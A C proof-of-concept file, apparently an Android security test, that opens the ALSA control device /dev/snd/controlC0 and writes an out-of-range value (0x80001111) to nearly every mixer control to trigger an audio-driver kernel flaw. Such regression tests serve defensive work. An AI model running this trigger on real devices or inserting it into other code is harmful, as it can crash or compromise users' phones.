1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 19 #include <string.h> 20 #include <stdio.h> 21 #include <stdlib.h> 22 #include <sys/ioctl.h> 23 #include <sys/ptrace.h> 24 #include <errno.h> 25 #include <sys/syscall.h> 26 #include <sys/prctl.h> 27 #include <stdint.h> 28 #include <sys/stat.h> 29 #include <sys/mman.h> 30 #include <linux/fb.h> 31 #include <dlfcn.h> 32 #include <sys/socket.h> 33 #include <fcntl.h> 34 #include <signal.h> 35 #include <unistd.h> 36 #include <sound/asound.h> 37 #include <sys/types.h> 38 #include <sys/wait.h> 39 40 #define MAXNUM 94 41 #define MAXPCMOP 25 42 #define MAXELE 16384 43 44 char* CONTBL[MAXNUM]={ 45 "comprC0D17", 46 "comprC0D18", 47 "comprC0D37", 48 "comprC0D38", 49 "comprC0D39", 50 "comprC0D40", 51 "comprC0D41", 52 "comprC0D42", 53 "comprC0D9", 54 "controlC0", 55 "hwC0D10", 56 "hwC0D1000", 57 "hwC0D11", 58 "hwC0D12", 59 "hwC0D13", 60 "hwC0D14", 61 "hwC0D15", 62 "hwC0D16", 63 "hwC0D2", 64 "hwC0D20", 65 "hwC0D21", 66 "hwC0D22", 67 "hwC0D24", 68 "hwC0D25", 69 "hwC0D26", 70 "hwC0D3", 71 "hwC0D30", 72 "hwC0D31", 73 "hwC0D35", 74 "hwC0D36", 75 "hwC0D37", 76 "hwC0D39", 77 "hwC0D40", 78 "hwC0D45", 79 "hwC0D7", 80 "hwC0D8", 81 "hwC0D9", 82 "pcmC0D0c", 83 "pcmC0D0p", 84 "pcmC0D10c", 85 "pcmC0D10p", 86 "pcmC0D11c", 87 "pcmC0D11p", 88 "pcmC0D12c", 89 "pcmC0D12p", 90 "pcmC0D13c", 91 "pcmC0D13p", 92 "pcmC0D14c", 93 "pcmC0D14p", 94 "pcmC0D15c", 95 "pcmC0D15p", 96 "pcmC0D16c", 97 "pcmC0D19c", 98 "pcmC0D19p", 99 "pcmC0D1c", 100 "pcmC0D1p", 101 "pcmC0D20c", 102 "pcmC0D20p", 103 "pcmC0D21p", 104 "pcmC0D22c", 105 "pcmC0D22p", 106 "pcmC0D23c", 107 "pcmC0D23p", 108 "pcmC0D24c", 109 "pcmC0D24p", 110 "pcmC0D25c", 111 "pcmC0D26p", 112 "pcmC0D27c", 113 "pcmC0D28c", 114 "pcmC0D29c", 115 "pcmC0D2c", 116 "pcmC0D2p", 117 "pcmC0D30c", 118 "pcmC0D31c", 119 "pcmC0D32c", 120 "pcmC0D33c", 121 "pcmC0D34c", 122 "pcmC0D35c", 123 "pcmC0D35p", 124 "pcmC0D36c", 125 "pcmC0D36p", 126 "pcmC0D3c", 127 "pcmC0D3p", 128 "pcmC0D43c", 129 "pcmC0D44c", 130 "pcmC0D44p", 131 "pcmC0D45c", 132 "pcmC0D45p", 133 "pcmC0D4p", 134 "pcmC0D5c", 135 "pcmC0D5p", 136 "pcmC0D6c", 137 "pcmC0D7p", 138 "pcmC0D8c" 139 }; 140 141 char* OPPCM[MAXPCMOP]={ 142 "/dev/snd/pcmC0D0p", 143 "/dev/snd/pcmC0D10p", 144 "/dev/snd/pcmC0D11p", 145 "/dev/snd/pcmC0D12p", 146 "/dev/snd/pcmC0D13p", 147 "/dev/snd/pcmC0D14p", 148 "/dev/snd/pcmC0D15p", 149 "/dev/snd/pcmC0D19p", 150 "/dev/snd/pcmC0D1p", 151 "/dev/snd/pcmC0D20p", 152 "/dev/snd/pcmC0D21p", 153 "/dev/snd/pcmC0D22p", 154 "/dev/snd/pcmC0D23p", 155 "/dev/snd/pcmC0D24p", 156 "/dev/snd/pcmC0D2p", 157 "/dev/snd/pcmC0D32p", 158 "/dev/snd/pcmC0D33p", 159 "/dev/snd/pcmC0D3p", 160 "/dev/snd/pcmC0D40p", 161 "/dev/snd/pcmC0D41p", 162 "/dev/snd/pcmC0D44p", 163 "/dev/snd/pcmC0D47p", 164 "/dev/snd/pcmC0D4p", 165 "/dev/snd/pcmC0D5p", 166 "/dev/snd/pcmC0D7p" 167 }; 168 169 void poc(char* name) 170 { 171 int fd, ret, cmd, index,pcmfd, i; 172 char dev[36]={0}; 173 snprintf(dev, sizeof(dev),"/dev/snd/%s", name); 174 fd = open(dev, O_RDWR); 175 if (fd < 0) 176 { 177 return; 178 } 179 180 cmd = SNDRV_CTL_IOCTL_CARD_INFO; 181 struct snd_ctl_card_info info; 182 ret = ioctl(fd, cmd, &info); 183 184 struct snd_ctl_elem_list lst; 185 struct snd_ctl_elem_value control; 186 memset(&lst, 0, sizeof(lst)); 187 lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list)); 188 lst.space = MAXELE; 189 cmd = SNDRV_CTL_IOCTL_ELEM_LIST; 190 ret = ioctl(fd, cmd, &lst); 191 control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111; 192 193 for(index=0;(unsigned int)index<lst.count;index++) 194 { 195 if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)|| 196 !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)|| 197 !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)|| 198 !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)|| 199 !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)|| 200 !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)|| 201 !strncmp((const char *)lst.pids[index].name,"left Profile",12)|| 202 !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)|| 203 !strncmp((const char *)lst.pids[index].name, "LSM",3)|| 204 !strncmp((const char *)lst.pids[index].name,"MAD Input",9)|| 205 !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)|| 206 !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue; 207 208 control.id.numid=lst.pids[index].numid; 209 ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control); 210 } 211 close(fd); 212 } 213 214 struct mystruct{ 215 int a; 216 char* pp; 217 }; 218 219 void freeptr(struct mystruct* p) 220 { 221 unsigned char* n = (unsigned char *)p->pp; 222 n = NULL; 223 p->pp = NULL; 224 p = NULL; 225 } 226 227 int main() 228 { 229 int i =0; 230 for(i = 0; i< MAXNUM; i++) 231 { 232 poc("controlC0"); 233 break; 234 } 235 return 1; 236 } 237
